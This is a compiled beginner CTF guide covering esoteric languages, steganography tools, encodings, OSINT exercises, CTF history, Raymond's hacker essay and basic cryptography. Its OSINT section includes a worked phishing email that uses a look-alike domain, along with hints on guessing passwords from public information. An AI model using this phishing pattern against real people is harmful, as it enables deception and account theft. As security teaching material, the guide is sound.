+The brainfuck language uses a simple machine model consisting of the program and instruction pointer, as well as a one-dimensional array of at least 30,000 byte cells initialized to zero; a movable data pointer (initialized to point to the leftmost byte of the array); and two streams of bytes for input and output (most often connected to a keyboard and a monitor respectively, and using the ASCII character encoding).
+The eight language commands each consist of a single character:
+Character | +Meaning | +
---|---|
> |
+Increment the data pointer (to point to the next cell to the right). | +
< |
+Decrement the data pointer (to point to the next cell to the left). | +
+ |
+Increment (increase by one) the byte at the data pointer. | +
- |
+Decrement (decrease by one) the byte at the data pointer. | +
. |
+Output the byte at the data pointer. | +
, |
+Accept one byte of input, storing its value in the byte at the data pointer. | +
[ |
+If the byte at the data pointer is zero, then instead of moving the instruction pointer forward to the next command, jump it forward to the command after the matching ] command. |
+
] |
+If the byte at the data pointer is nonzero, then instead of moving the instruction pointer forward to the next command, jump it back to the command after the matching [ command. |
+
(Alternatively, the ]
command may instead be translated as an unconditional jump to the corresponding [
command, or vice versa; programs will behave the same but will run more slowly, due to unnecessary double searching.)
[
and ]
match as parentheses usually do: each [
matches exactly one ]
and vice versa, the [
comes first, and there can be no unmatched [
or ]
between the two.
Brainfuck programs can be translated into C using the following substitutions, assuming ptr
is of type char*
and has been initialized to point to an array of zeroed bytes:
brainfuck command | +C equivalent | +
---|---|
(Program Start) | +char array[30000] = {0}; char *ptr = array; |
+
> |
+++ptr; |
+
< |
+--ptr; |
+
+ |
+++*ptr; |
+
- |
+--*ptr; |
+
. |
+putchar(*ptr); |
+
, |
+*ptr = getchar(); |
+
[ |
+while (*ptr) { |
+
] |
+} |
+
As the name suggests, Brainfuck programs tend to be difficult to comprehend. This is partly because any mildly complex task requires a long sequence of commands and partly because the program's text gives no direct indications of the program's state. These, as well as Brainfuck's inefficiency and its limited input/output capabilities, are some of the reasons it is not used for serious programming. Nonetheless, like any Turing complete language, Brainfuck is theoretically capable of computing any computable function or simulating any other computational model, if given access to an unlimited amount of memory.[8] A variety of Brainfuck programs have been written.[9] Although Brainfuck programs, especially complicated ones, are difficult to write, it is quite trivial to write an interpreter for Brainfuck in a more typical language such as C due to its simplicity. There even exist Brainfuck interpreters written in the Brainfuck language itself.[10][11]
+Brainfuck is an example of a so-called Turing tarpit: It can be used to write any program, but it is not practical to do so, because Brainfuck provides so little abstraction that the programs get very long or complicated.
+An esoteric language that looks a lot like Base85... but isn't. Often has references to "Inferno" or "Hell" or "Dante." Online interpreters like so: http://www.malbolge.doleczek.pl/ Example code:
+(=<`#9]~6ZY32Vx/4Rs+0No-&Jk)"Fh}|Bcy?`=*z]Kw%oG4UUS0/@-ejc(:'8dc
+
+Malbolge is machine language for a ternary virtual machine, the Malbolge interpreter.
+The standard interpreter and the official specification do not match perfectly.[11] One difference is that the compiler stops execution with data outside the 33–126 range. Although this was initially considered a bug in the compiler, Ben Olmstead stated that it was intended and there was in fact "a bug in the specification".[2]
+Malbolge has three registers, a, c, and d. When a program starts, the value of all three registers is zero.
+a stands for 'accumulator', set to the value written by all write operations on memory and used for standard I/O. c, the code pointer, is special: it points to the current instruction.[12] d is the data pointer. It is automatically incremented after each instruction, but the location it points to is used for the data manipulation commands.
+d can hold a memory address; [d] is register indirect; the value stored at that address. [c] is similar.
+The virtual machine has 59,049 (310) memory locations that can each hold a ten-trit ternary number. Each memory location has an address from 0 to 59048 and can hold a value from 0 to 59048. Incrementing past this limit wraps back to zero.
+The language uses the same memory space for both data and instructions. This was influenced by how hardware such as x86 architecture worked.[2]
+Before a Malbolge program starts, the first part of memory is filled with the program. All whitespace in the program is ignored and, to make programming more difficult, everything else in the program must start out as one of the instructions below.
+The rest of memory is filled by using the crazy operation (see below) on the previous two addresses ([m] = crz [m - 2], [m - 1]). Memory filled this way will repeat every twelve addresses (the individual ternary digits will repeat every three or four addresses, so a group of ternary digits is guaranteed to repeat every twelve).
+In 2007, Ørjan Johansen created Malbolge Unshackled, a version of Malbolge which does not have the arbitrary memory limit. The hope was to create a Turing-complete language while keeping as much in the spirit of Malbolge as possible. No other rules are changed, and all Malbolge programs that do not reach the memory limit are completely functional.[13]
+Malbolge has eight instructions. Malbolge figures out which instruction to execute by taking the value [c], adding the value of c to it, and taking the remainder when this is divided by 94. The final result tells the interpreter what to do:
+Value of ([c] + c) % 94 | +Instruction represented | +Explanation | +
---|---|---|
4 | +jmp [d] | +Copies the value at [d] to c. Note that c will still be incremented after execution of this instruction, so the next instruction to be executed will be the one at [d] + 1 (modulo 59049). | +
5 | +out a | +Prints the value of a, as an ASCII character, to the screen. | +
23 | +in a | +Inputs a character, as an ASCII code, into a. Newlines or line feeds are both code 10. An end-of-file condition is code 59048. | +
39 | +rotr [d] mov a, [d] | +Rotates the value at [d] by one ternary digit to the right (0002111112 becomes 2000211111). Stores the result both at [d] and in a. | +
40 | +mov d, [d] | +Copies the value at [d] to d. | +
62 | +crz [d], a mov a, [d] | +Does the crazy operation (see below) with the value at [d] and the value of a. Stores the result both at [d] and in a. | +
68 | +nop | +Does nothing. | +
81 | +end | +Ends the Malbolge program. | +
Any other value | +does the same as 68: nothing. These other values are not allowed in a program while it is being loaded, but are allowed afterwards. | ++ |
After each instruction is executed, the guilty instruction gets encrypted (see below) so that it will not do the same thing next time, unless a jump just happened. Right after a jump, Malbolge will encrypt the innocent instruction just prior to the one it jumped to instead. Then, the values of both c and d are increased by one and the next instruction is executed.
+A graphical programming language... looks like large 8-bit pixels in a variety of colors. Can be interpreted with the tool npiet
A codel in Piet is like an image's pixel. Some Piet programs are upscaled, meaning that a codel might not always be equivalent to 1 pixel, but a codel is always a substitute for pixels.
+A color block is any group of codels of the same color that are adjacent to each other. Note that codels only touching each other diagonally are not considered part of the same color block; they must be touching in one if the 4 cardinal directions to be part of the same color block.
+The direction pointer (DP) is what moves along the program to make it run. It can be in any one of the 4 cardinal directions. The direction pointer always starts at the color block containing the upper-left-most codel, and always starts facing right. After it has executed the proper command, it will move on to the next color block that is both:
+This continues until the program terminates (see below).
+The codel chooser (CC) is used when multiple color blocks meet the above two criteria for the next block to be executed. Its direction is always relative to the DP's direction, and starts out facing left. When there are more than one possible color blocks to be executed, the one farthest in the direction of the codel chooser (again, relative to the DP) is the one chosen. The codel chooser can only point left or right.
+Piet uses 20 colors in its programs. Each of these colors (with the exceptions of white and black) have two properties, those being hue and lightness. All colors and their properties are shown in the table below.
+Light red (#FFC0C0) | +Light yellow (#FFFFC0) | +Light green (#C0FFC0) | +Light cyan (#C0FFFF) | +Light blue (#C0C0FF) | +Light magenta (#FFC0FF) | +
---|---|---|---|---|---|
Red (#FF0000) | +Yellow (#FFFF00) | +Green (#00FF00) | +Cyan (#00FFFF) | +Blue (#0000FF) | +Magenta (#FF00FF) | +
Dark red (#C00000) | +Dark yellow (#C0C000) | +Dark green (#00C000) | +Dark cyan (#00C0C0) | +Dark blue (#0000C0) | +Dark magenta (#C000C0) | +
Hue is shown going to the left and lightness is shown going down. Note that these properties are cycles, meaning that, in terms of hue, red comes after magenta. Hue always goes to the left, and lightness always goes down, meaning that going from yellow to red is 5 changes in hue, and vice versa.
+White (#FFFFFF) is one of the two colors in Piet that doesn't fit into either cycle. White color blocks act like blank spaces. When the DP encounters a white block, it will simply go through it and move on to the next color block. No commands are executed when the DP goes through a white block.
+Black (#000000) is like the opposite of white in the sense that the DP cannot pass through it. If the DP tries to go to the next color block but fails because of a black block, it will switch the CC to its other state and try again. If it still can't get to the next color block, then the DP will be rotated one step clockwise. If the DP has gone through all possible states but it still can't get to the next color block, it will conclude there is no way out and the program will terminate. This is the only way to terminate a Piet program.
+Piet commands aren't executed based on the color the DP is on, but instead based on the change in lightness and hue. Below is a table with all 17 commands in Piet and how they're executed.
+Hue change | +Light | +ness | +change | +
---|---|---|---|
+ | No change | +1 darker | +2 darker | +
No change | +N/A | +Push | +Pop | +
1 step | +Add | +Subtract | +Multiply | +
2 steps | +Divide | +Modulo | +Not | +
3 steps | +Greater | +Pointer | +Switch | +
4 steps | +Duplicate | +Roll | +Input num | +
5 steps | +Input char | +Output num | +Output char | +
A joke language. Recognizable by .
and ?
, and !
.
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
+Ook. Ook. Ook. Ook. Ook! Ook? Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
+Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook! Ook! Ook? Ook! Ook? Ook.
+Ook! Ook. Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
+Ook. Ook. Ook! Ook? Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook?
+Ook! Ook! Ook? Ook! Ook? Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook.
+
+Brainfuck | +Ook! | +Description | +
---|---|---|
> | +Ook. Ook? | +Move the pointer to the right | +
< | +Ook? Ook. | +Move the pointer to the left | +
+ | +Ook. Ook. | +Increment the memory cell under the pointer | +
- | +Ook! Ook! | +Decrement the memory cell under the pointer | +
. | +Ook! Ook. | +Output the character signified by the cell at the pointer | +
, | +Ook. Ook! | +Input a character and store it in the cell at the pointer | +
[ | +Ook! Ook? | +Jump past the matching Ook? Ook! if the cell under the pointer is 0 |
+
] | +Ook? Ook! | +Jump back to the matching Ook! Ook? |
+
n/a | +Ook? Ook? | +Give the memory pointer a banana | +
Don't ever forget about steghide
! This tool can use a password list like rockyou.txt
with steghide. SOME IMAGES CAN HAVE MULTIPLE FILED ENCODED WITH MULTIPLE PASSWORDS.
At first, the secret data is compressed and encrypted. Then a sequence of postions of pixels in the cover file is created based on a pseudo-random number generator initialized with the passphrase (the secret data will be embedded in the pixels at these positions). Of these positions those that do not need to be changed (because they already contain the correct value by chance) are sorted out. Then a graph-theoretic matching algorithm finds pairs of positions such that exchanging their values has the effect of embedding the corresponding part of the secret data. If the algorithm cannot find any more such pairs all exchanges are actually performed. The pixels at the remaining positions (the positions that are not part of such a pair) are also modified to contain the embedded data (but this is done by overwriting them, not by exchanging them with other pixels). The fact that (most of) the embedding is done by exchanging pixel values implies that the first-order statistics (i.e. the number of times a color occurs in the picture) is not changed. For audio files the algorithm is the same, except that audio samples are used instead of pixels.
+
+Stegsolve.jar
A Java .JAR
tool, that will open an image and let you as the user arrow through different renditions of the image (viewing color channels, inverted colors, and more). The tool is surprisingly useful.
zsteg
Command-line tool for use against Least Significant Bit steganography... unfortunately only works against PNG and BMP images.
+Always test for this if you are seeing two distinct values... it may not always be binary! Online decoders like so: https://morsecode.scphillips.com/translator.html
+ +Tabs and spaces could be representing 1's and 0's and treating them as a binary message... or, they could be whitespace done with snow
or an esoteric programming language interpreter: https://tio.run/#whitespace
When given a sequence with only A, C, G, T , there is an online mapping for these. Try this:
+ +Some classic challenges use an audio file to hide a flag or other sensitive stuff. SONIC visualizer easily shows you spectrogram. If it sounds like there is random bleeps and bloops in the sound, try this tactic!
+ +Audio frequencies common to a phone button, DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling.
++ | 1209 Hz | +1336 Hz | +1477 Hz | +1633 Hz | +
---|---|---|---|---|
697 Hz | +1 | +2 | +3 | +A | +
770 Hz | +4 | +5 | +6 | +B | +
852 Hz | +7 | +8 | +9 | +C | +
941 Hz | +* | +0 | +# | +D | +
Some messages may be hidden with a string of numbers, but really be encoded with old cell phone keypads, like text messaging with numbers repeated:
+ +A small square "barcode" image that holds data.
+ +Meaning of format information. In the above figure, the format information is protected by a (15,5) BCH code, which can correct up to 3-bit errors. The total length of the code is 15 bits, of which 5 are data bits (2 EC level + 3 mask pattern) and 10 are extra bits for error correction. The format mask for these 15 bits is: [101010000010010]. Note that we map the masked values directly to their meaning here, in contrast to image 4 "Levels & Masks" where the mask pattern numbers are the result of putting the 3rd to 5th mask bit, [101], over the 3rd to 5th format info bit of the QR code.
+ +Message placement within a QR symbol. The message is encoded using a (255,249) Reed Solomon code (shortened to (24,18) code by using "padding") which can correct up to 3-byte errors.
+ +The larger symbol illustrates interleaved blocks. The message has 26 data bytes and is encoded using two Reed-Solomon code blocks. Each block is a (255,233) Reed Solomon code (shortened to (35,13) code), which can correct up to 11-byte errors in a single burst, containing 13 data bytes and 22 "parity" bytes appended to the data bytes. The two 35-byte Reed-Solomon code blocks are interleaved so it can correct up to 22-byte errors in a single burst (resulting in a total of 70 code bytes). The symbol achieves level H error correction.
+Don't view the image...
+ +QR or not QR, this is a question. However, I can grant the image size is 310 px * 310 px.
+ +The music transferred from the moon. The last part sounds corrupted though.
+ + + + + + + + + +++ +Reference: https://ctfacademy.github.io/osint/index.htm by CTF Academy
+Reference: https://osintframework.com/ by jnordine
+
Open-source intelligence, also known as OSINT, refers to gathering information from publicly available sources, such as social media, company websites, and news articles. There is a great deal of information that can be gathered about a company or person through open-source intelligence.
+In a cybersecurity context, OSINT can be used to recon a target before performing a penetration test or to generate a report of the information a company is leaking through public sources. Cybercriminals use OSINT to collect information on a target before attacking; also, OSINT can be used to help guess a user’s password. Many people use passwords that relate to themselves. For example, a common password creation method is to use the name of your favorite pet followed by the year you were born. This is a very poor password creation technique because this information is easy for a malicious user to obtain from openly available sources, such as your social media accounts. In addition to possible password information, OSINT can reveal information about a company’s internal computer network. For example, a company’s promotional website may include pictures of employees working. These pictures may reveal information about the company’s inner workings, such as internal website URLs and private documents. OSINT can also be used to create a phony, malicious email targeting a company or individual; these phony emails are referred to as “phishing” emails.
+The following is an example of a company press release and a phishing email created using information from the press release:
+Company XYZ
+
+Recently Company XYZ has been making astounding progress on a new project. We have been working with many of the finest software engineers to develop a new internet browser with voice control capabilities. A special thanks go out to John Smith from Software ABC Corp. for his assistance with this project (more information can be found at softwareabccorp.com). The expected release date is early 2021.
+
+Company XYZ,
+Speaking is the future!
+
+Using the information in the above press release, an attacker could form the following phishing email:
+Email
+
+To: ceo@companyxyz.com
+From: jsmith@softwareabccorp.co
+Subject: New Research About Voice Control
+
+Dear Company XYZ CEO,
+
+Here is a link to my new research paper about voice control technologies: Softwarecorp.co/newpaper.pdf.
+
+Due to our recent collaboration on your new internet browser, I know this paper will interest you greatly. Please read it and give me your thoughts.
+
+
+
+Thank you,
+John Smith
+Software ABC Corp.
+
+The attacker would send the above email to the CEO in hopes she would click on the link and unknowingly download the attacker’s malicious file containing a computer virus.
+The attacker created this email using information gleaned from Company XYZ’s press release. The attacker registered a website and email at “softwareabccorp.co,” notice the “.co” instead of the “.com” at the end of the address. Also, the name of the researcher connected to the project, John Smith, was mentioned in the press release and was used by the attacker to add believability to his phishing email. Finally, the attacker’s link to a supposed “research paper” that would be of interest to the targeted CEO. In a malicious phishing email, this link would lead to a computer virus and infect the CEO’s computer.
+OSINT can also be used defensively. Open source intel can be used to keep up with cybersecurity trends and the techniques cyber criminals are using right now. Many websites provide OSINT about cyber attack trends reported by cybersecurity professionals. Also, when a company is receiving unusual internet traffic, OSINT can be used to determine if the usual traffic is coming from a known malicious IP address (An IP address is a four-part number that identifies the source of a network connection).
+The following are just a few of the thousands of IP addresses that originate from China:
+A cyber defender can better analyze unusual internet traffic using public sources about IP address origins.
+For example, if the network administrator at an organization notices a high volume of internet traffic causing the organization’s website to be overloaded, he can analyze the origins of the internet traffic and determine if the traffic is likely malicious. Using OSINT to research the IP addresses of the internet traffic, a cybersecurity specialist can determine if the traffic originates from known malicious IP addresses.
+Chinese IP Addresses | +
---|
36.37.36.114 | +
36.37.39.204 | +
42.1.128.64 | +
A cyber defender can better analyze unusual internet traffic using public sources about IP address origins.
+For example, if the network administrator at an organization notices a high volume of internet traffic causing the organization’s website to be overloaded, he can analyze the origins of the internet traffic and determine if the traffic is likely malicious. Using OSINT to research the IP addresses of the internet traffic, a cybersecurity specialist can determine if the traffic originates from known malicious IP addresses.
+Visit OSINT Framework for OSINT structure and categories.
+In the circle of friends, I found a photo. There is more information than thought.
+Flag format: flag{[from city]-[to city]-[flight number]}
+For example: flag{深圳-广州-1A2345}
+ +I want to travel here too! But how to find the location?
+Flag format: flag{[city name]-[location name]}
+For example: flag{深圳-欢乐谷}
+ +A photo that was someone's house. A lovely place to live in. However, I want to know the location where this photo was taken.
+Flag format: flag{[location name]}
+For example: flag{无人机}
+ +A real fan can remember this immediately.
+Flag format: flag{[yyyy-mm-dd]-[location name]}
+For example: flag{2022-02-30-风雨操场}
+ + + + + + + + + +++https://ctf101.org/
+http://www.catb.org/~esr/faqs/hacker-howto.html
+https://ctf-wiki.org/
+
Capture The Flags, or CTFs, is a kind of computer security competition.
+Teams of competitors (or just individuals) are pitted against each other in a test of computer security skills.
+Very often CTFs are the beginning of one's cyber security career due to their team-building nature and competitive aspect. In addition, there isn't a lot of commitment required beyond a weekend.
+CTF's predecessor is a traditional networking technology competition between hackers, which originated at the 4th DEFCON in 1996.
+The first CTF competitions (1996 - 2001) had no clear rules and no professionally built competition platform and environment. It was up to the teams to prepare their own targets (prepare and defend their own targets, and try to break each other's targets). The organizers are mostly just non-professional volunteers who accept requests for manual scoring from the participating teams.
+The lack of automated back-end systems and judges' technical competence, scoring delays and errors, as well as unreliable networks and improper configurations, led to a great deal of controversy and dissatisfaction.
+A professional team undertakes the competition platform, proposition, event organization, and automated point system. Teams are required to submit applications and are selected by the DEFCON conference organizers.
+The following features stand out for the three years of DEFCON CTF competitions organized by LegitBS.
+The competition focuses on core competencies in underlying computer and system security, and web vulnerability techniques are completely ignored. +The competition environment tends to be a multi-CPU instruction architecture set, multi-operating system, and multi-programming language. +Zero-sum" scoring rules are used. +The team's comprehensive ability test: reverse analysis, vulnerability mining, vulnerability exploitation, vulnerability patching and reinforcement, network traffic analysis, system security operation and maintenance, and security programming debugging.
+Jeopardy is commonly used in online selection competitions. In Jeopardy CTF, teams can participate via the Internet or a live network, where they solve technical challenges in cybersecurity by interacting with the online environment or analyzing files offline to earn points, similar to ACM programming competitions and informatics Olympiads, and are ranked based on total points and time.
+The different problem-solving problem-solving modes will generally set the first blood, and second blood, third blood, that is, the first three teams to complete the problem will get extra points, so this is not only the first team to solve the problem to encourage the value of the team, but also an indirect reflection of the team's ability.
+Of course there is also a popular scoring rule that sets the initial score for each question and then gradually reduces the score of the question according to the number of teams that have successfully answered the question, meaning that the more people answer the question, the lower the score of the question will be. Eventually it will drop to a guaranteed score and then stop dropping.
+The main types of questions include Web network attack and defense, RE reverse engineering, Pwn binary exploit, Crypto cryptographic attacks, Mobile mobile security, and Misc security miscellaneous six categories.
+Since the CTF has a wide range of questions, there are no clear boundaries as to what will be tested. However, as far as the current competition questions are concerned, they are mainly classified according to the common Web network attack and defense, RE reverse engineering, Pwn binary vulnerability exploitation, Crypto cryptography attack, Mobile security, and Misc security.
+Mainly introduces the common vulnerabilities in Web security, such as SQL injection, XSS, CSRF, file inclusion, file upload, code audit, PHP weak types, etc., common questions and solutions in Web security, and provides some common tools.
+Mainly introduces the common question types, tools platform, and solution ideas in Reverse Engineering, and the advanced part introduces the common software protection, decompiling, anti-debugging, shelling, and deshelling techniques in Reverse Engineering.
+The Pwn topic mainly examines the discovery and exploitation of binary vulnerabilities, which requires a certain understanding of the underlying computer operating system. PWN topics are mainly found on the Linux platform in the CTF competition.
+Classical cryptography is interesting and diverse, while modern cryptography is highly secure and requires high algorithmic understanding.
+Mainly introduces the common tools and main problem types in Android inversion. Android inversion often requires certain knowledge of Android development. iOS inversion topics are less frequent in CTF competitions, so not too much introduction is made.
+The topic "Online Ghost: The Autobiography of Mitnick, the World's Number One Hacker" translated by Zhuge Jianwei, and some typical MISC topics are used as entry points, mainly including information gathering, coding analysis, forensic analysis, steganography analysis, etc.
+The Jargon File contains a bunch of definitions of the term ‘hacker’, most having to do with technical adeptness and a delight in solving problems and overcoming limits. If you want to know how to become a hacker, though, only two are relevant.
+There is a community, a shared culture, of expert programmers and networking wizards that traces its history back through decades to the first time-sharing minicomputers and the earliest ARPAnet experiments. The members of this culture originated the term ‘hacker’. Hackers built the Internet. Hackers made the Unix operating system what it is today. Hackers make the World Wide Web work. If you are part of this culture, if you have contributed to it and other people in it know who you are and call you a hacker, you're a hacker.
+The hacker mindset is not confined to this software-hacker culture. Some people apply the hacker attitude to other things, like electronics or music — actually, you can find it at the highest levels of any science or art. Software hackers recognize these kindred spirits elsewhere and may call them ‘hackers’ too — and some claim that the hacker nature is independent of the particular medium the hacker works in. But in the rest of this document, we will focus on the skills and attitudes of software hackers, and the traditions of the shared culture that originated the term ‘hacker’.
+There is another group of people who loudly call themselves hackers, but aren't. These are people (mainly adolescent males) who get a kick out of breaking into computers and phreaking the phone system. Real hackers call these people ‘crackers’ and want nothing to do with them. Real hackers mostly think crackers are lazy, irresponsible, and not very bright, and object that being able to break security doesn't make you a hacker any more than being able to hotwire cars makes you an automotive engineer. Unfortunately, many journalists and writers have been fooled into using the word ‘hacker’ to describe crackers; this irritates real hackers no end.
+The basic difference is this: hackers build things, and crackers break them.
+If you want to be a hacker, keep reading. If you want to be a cracker, go read the alt.2600 newsgroup and get ready to do five to ten in the slammer after finding out you aren't as smart as you think you are. And that's all I'm going to say about crackers.
+Hackers solve problems and build things, and they believe in freedom and voluntary mutual help. To be accepted as a hacker, you have to behave as though you have this kind of attitude yourself. And to behave as though you have the attitude, you have to really believe the attitude.
+But if you think of cultivating hacker attitudes as just a way to gain acceptance in the culture, you'll miss the point. Becoming the kind of person who believes these things are important for you — for helping you learn and keeping you motivated. As with all creative arts, the most effective way to become a master is to imitate the mindset of masters — not just intellectually but emotionally as well.
+Or, as the following modern Zen poem has it:
+To follow the path: + look to the master, + follow the master, + walk with the master, + see through the master, + become the master.
+So, if you want to be a hacker, repeat the following things until you believe them:
+Being a hacker is lots of fun, but it's a kind of fun that takes lots of effort. The effort takes motivation. Successful athletes get their motivation from a kind of physical delight in making their bodies perform, and in pushing themselves past their physical limits. Similarly, to be a hacker you have to get a basic thrill from solving problems, sharpening your skills, and exercising your intelligence.
+If you aren't the kind of person that feels this way naturally, you'll need to become one to make it as a hacker. Otherwise, you'll find your hacking energy is sapped by distractions like sex, money, and social approval.
+(You also have to develop a kind of faith in your own learning capacity — a belief that even though you may not know all of what you need to solve a problem, if you tackle just a piece of it and learn from that, you'll learn enough to solve the next piece — and so on, until you're done.)
+Creative brains are a valuable, limited resource. They shouldn't be wasted on re-inventing the wheel when there are so many fascinating new problems waiting out there.
+To behave like a hacker, you have to believe that the thinking time of other hackers is precious — so much so that it's almost a moral duty for you to share information, solve problems and then give the solutions away just so other hackers can solve new problems instead of having to perpetually re-address old ones.
+Note, however, that "No problem should ever have to be solved twice." does not imply that you have to consider all existing solutions sacred, or that there is only one right solution to any given problem. Often, we learn a lot about the problem that we didn't know before by studying the first cut at a solution. It's OK, and often necessary, to decide that we can do better. What's not OK is artificial technical, legal, or institutional barriers (like closed-source code) that prevent a good solution from being re-used and force people to re-invent wheels.
+(You don't have to believe that you're obligated to give all your creative product away, though the hackers that do are the ones that get the most respect from other hackers. It's consistent with hacker values to sell enough of it to keep you in food and rent and computers. It's fine to use your hacking skills to support a family or even get rich, as long as you don't forget your loyalty to your art and your fellow hackers while doing it.)
+Hackers (and creative people in general) should never be bored or have to drudge at stupid repetitive work because when this happens it means they aren't doing what only they can do — solve new problems. This wastefulness hurts everybody. Therefore boredom and drudgery are not just unpleasant but evil.
+To behave like a hacker, you have to believe this enough to want to automate away the boring bits as much as possible, not just for yourself but for everybody else (especially other hackers).
+(There is one apparent exception to this. Hackers will sometimes do things that may seem repetitive or boring to an observer as a mind-clearing exercise, to acquire a skill or have some particular kind of experience you can't have otherwise. But this is by choice — nobody who can think should ever be forced into a situation that bores them.)
+Hackers are naturally anti-authoritarian. Anyone who can give you orders can stop you from solving whatever problem you're being fascinated by — and, given the way authoritarian minds work, will generally find some appallingly stupid reason to do so. So the authoritarian attitude has to be fought wherever you find it, lest it smothers you and other hackers.
+(This isn't the same as fighting all authority. Children need to be guided and criminals restrained. A hacker may agree to accept some kind of authority to get something he wants more than the time he spends following orders. But that's a limited, conscious bargain; the kind of personal surrender authoritarians want is not on offer.)
+Authoritarians thrive on censorship and secrecy. And they distrust voluntary cooperation and information-sharing — they only like the ‘cooperation’ that they control. So to behave like a hacker, you have to develop an instinctive hostility to censorship, secrecy, and the use of force or deception to compel responsible adults. And you have to be willing to act on that belief.
+To be a hacker, you have to develop some of these attitudes. But copping an attitude alone won't make you a hacker, any more than it will make you a champion athlete or a rock star. Becoming a hacker will take intelligence, practice, dedication, and hard work.
+Therefore, you have to learn to distrust attitudes and respect competence of every kind. Hackers won't let posers waste their time, but they worship competence — especially competence at hacking, but competence at anything is valued. Competence at demanding skills that few can master is especially good, and competence at demanding skills that involve mental acuteness, craft, and concentration is best.
+If you revere competence, you'll enjoy developing it in yourself — the hard work and dedication will become a kind of intense play rather than drudgery. That attitude is vital to becoming a hacker.
+ + + + + + + + +++https://ctf101.org/cryptography/overview/
+
Cryptography is the reason we can use banking apps, transmit sensitive information over the web, and in general protect our privacy. However, a large part of CTFs is breaking widely used encryption schemes that are improperly implemented. The math may seem daunting, but more often than not, a simple understanding of the underlying principles will allow you to find flaws and crack the code.
+The word “cryptography” technically means the art of writing codes. When it comes to digital forensics, it’s a method you can use to understand how data is constructed for your analysis.
+Uses in everyday software
+Malicious uses
+Data can be represented in different bases, an 'A' needs to be a numerical representation of Base 2 or binary so computers can understand them
+ +An XOR or eXclusive OR is a bitwise operation indicated by ^
and shown by the following truth table:
A | +B | +A ^ B | +
---|---|---|
0 | +0 | +0 | +
0 | +1 | +1 | +
1 | +0 | +1 | +
1 | +1 | +0 | +
So what XOR'ing bytes in the action 0xA0 ^ 0x2C
translates to is:
1 | +0 | +1 | +0 | +0 | +0 | +0 | +0 | +
---|---|---|---|---|---|---|---|
0 | +0 | +1 | +0 | +1 | +1 | +0 | +0 | +
1 | +0 | +0 | +0 | +1 | +1 | +0 | +0 | +
---|---|---|---|---|---|---|---|
+ | + | + | + | + | + | + | + |
0b10001100` is equivalent to `0x8C`, a cool property of XOR is that it is reversible meaning `0x8C ^ 0x2C = 0xA0` and `0x8C ^ 0xA0 = 0x2C
+
+
+XOR is a cheap way to encrypt data with a password. Any data can be encrypted using XOR as shown in this Python example:
+>>> data = 'CAPTURETHEFLAG'
+>>> key = 'A'
+>>> encrypted = ''.join([chr(ord(x) ^ ord(key)) for x in data])
+>>> encrypted
+'\x02\x00\x11\x15\x14\x13\x04\x15\t\x04\x07\r\x00\x06'
+>>> decrypted = ''.join([chr(ord(x) ^ ord(key)) for x in encrypted])
+>>> decrypted
+'CAPTURETHEFLAG'
+
+This can be extended using a multibyte key by iterating in parallel with the data.
+Single Byte XOR Encryption is trivial to bruteforce as there are only 255 key combinations to try.
+Multibyte XOR gets exponentially harder the longer the key, but if the encrypted text is long enough, character frequency analysis is a viable method to find the key. Character Frequency Analysis means that we split the cipher text into groups based on the number of characters in the key. These groups then are bruteforced using the idea that some letters appear more frequently in the English alphabet than others.
+A Substitution Cipher is a system of encryption where different symbols substitute a normal alphabet.
+ +The Caesar Cipher or Caesar Shift is a cipher that uses the alphabet to encode texts.
+CAESAR` encoded with a shift of 8 is `KIMAIZ` so `ABCDEFGHIJKLMNOPQRSTUVWXYZ` becomes `IJKLMNOPQRSTUVWXYZABCDEFGH
+
+ROT13 is the same thing but a fixed shift of 13, this is a trivial cipher to bruteforce because there are only 25 shifts.
+ +A Vigenere Cipher is an extended Caesar Cipher where a message is encrypted using various Caesar-shifted alphabets.
+The following table can be used to encode a message:
+ +For example, encrypting the text SUPERSECRET
with CODE
would follow this process:
CODE
gets padded to the length of SUPERSECRET
so the key becomes CODECODECOD
SUPERSECRET
we use the table to get the Alphabet to use, in this instance row C
and column S
U
UISITGHGTSW
C
U
S
SUPERSECRET
Hashing functions are one-way functions that theoretically provide a unique output for every input. MD5, SHA-1, and other hashes which were considered secure are now found to have collisions or two different pieces of data which produce the same supposed unique output.
+A string hash is a number or string generated using an algorithm that runs on text or data.
+The idea is that each hash should be unique to the text or data (although sometimes it isn’t). For example, the hash for “dog” should be different from other hashes.
+You can use command line tools or online resources such as this one. Example: $ echo -n password | md5 5f4dcc3b5aa765d61d8327deb882cf99
Here, “password” is hashed with different hashing algorithms:
Generally, when verifying a hash visually, you can simply look at the first and last four characters of the string.
+A file hash is a number or string generated using an algorithm that is run on text or data. The premise is that it should be unique to the text or data. If the file or text changes in any way, the hash will change.
+What is it used for? - File and data identification - Password/certificate storage comparison
+How can we determine the hash of a file? You can use the md5sum command (or similar).
+$ md5sum samplefile.txt
+3b85ec9ab2984b91070128be6aae25eb samplefile.txt
+
+A collision is when two pieces of data or text have the same cryptographic hash. This is very rare.
+What’s significant about collisions is that they can be used to crack password hashes. Passwords are usually stored as hashes on a computer since it’s hard to get the passwords from hashes.
+ +If you bruteforce by trying every possible piece of text or data, eventually you’ll find something with the same hash. Enter it, and the computer accepts it as if you entered the actual password.
+Two different files on the same hard drive with the same cryptographic hash can be very interesting.
+“It’s now well-known that the cryptographic hash function MD5 has been broken,” said Peter Selinger of Dalhousie University. “In March 2005, Xiaoyun Wang and Hongbo Yu of Shandong University in China published an article in which they described an algorithm that can find two different sequences of 128 bytes with the same MD5 hash.”
+For example, he cited this famous pair:
+ +and
+ +Each of these blocks has MD5 hash 79054025255fb1a26e4bc422aef54eb4.
+Selinger said that “the algorithm of Wang and Yu can be used to create files of arbitrary length that have identical MD5 hashes, and that differ only in 128 bytes somewhere in the middle of the file. Several people have used this technique to create pairs of interesting files with identical MD5 hashes.”
+Ben Laurie has a nice website that visualizes this MD5 collision. For a non-technical, though slightly outdated, introduction to hash functions, see Steve Friedl’s Illustrated Guide. And here’s a good article from DFI News that explores the same topic.
